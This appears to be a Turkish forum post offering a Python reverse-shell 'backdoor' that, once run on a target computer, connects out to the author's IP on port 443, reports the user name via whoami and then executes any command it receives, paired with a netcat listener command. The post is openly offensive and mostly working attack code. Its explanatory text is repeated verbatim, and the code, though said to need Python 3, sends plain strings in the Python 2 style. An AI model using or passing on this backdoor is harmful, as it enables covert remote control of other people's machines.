NOT : Kodlar alıntıdır.
Gerekli Programlar :
1)Netcat
2)Python3
Bu backdoor hedef bilgisayarda çalışmaya başladığında, hedef bilgisayarda hiç bir değişiklik olmadan direk olarak 4. satırda belirtilen IP adresine 5. satırda ki port aracılığı ile istek gönderecektir ve böylece bir bağlantı sağlanacaktır. Hemen ardından subprocess modülü ile bilgisayarın ismi öğrenilecek ve bu isim ile beraber bağlantı gittiğine dair bir paket gönderilecektir. Daha sonra hedef bilgisayardan gelen komutları işleyerek tekrar hedef bilgisayara gönderecektir.
Şimdi terminali açarak
nc -l -p443
komutunu veriniz.
Bu komut ile belirlenen port üzerinden gelen tüm bağlantılar dinlenebilir.
Gerekli Programlar :
1)Netcat
2)Python3
Kod:
import subprocess
import socket
host = "buraya ip adresiniz"
port = 443
contact = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
contact.connect((host, port))
pc_name = subprocess.Popen("whoami", shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
pcname = pc_name.stdout.read() + pc_name.stderr.read()
contact.send("[+] Target Connected: "+str(pcname)+"\n")
while 1:
data = contact.recv(1024)
if data == "q": break
comm_line = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = comm_line.stdout.read() + comm_line.stderr.read()
contact.send(output)
contact.send("[*] Connection Closed")
contact.close()
Bu backdoor hedef bilgisayarda çalışmaya başladığında, hedef bilgisayarda hiç bir değişiklik olmadan direk olarak 4. satırda belirtilen IP adresine 5. satırda ki port aracılığı ile istek gönderecektir ve böylece bir bağlantı sağlanacaktır. Hemen ardından subprocess modülü ile bilgisayarın ismi öğrenilecek ve bu isim ile beraber bağlantı gittiğine dair bir paket gönderilecektir. Daha sonra hedef bilgisayardan gelen komutları işleyerek tekrar hedef bilgisayara gönderecektir.
Şimdi terminali açarak
nc -l -p443
komutunu veriniz.
Bu komut ile belirlenen port üzerinden gelen tüm bağlantılar dinlenebilir.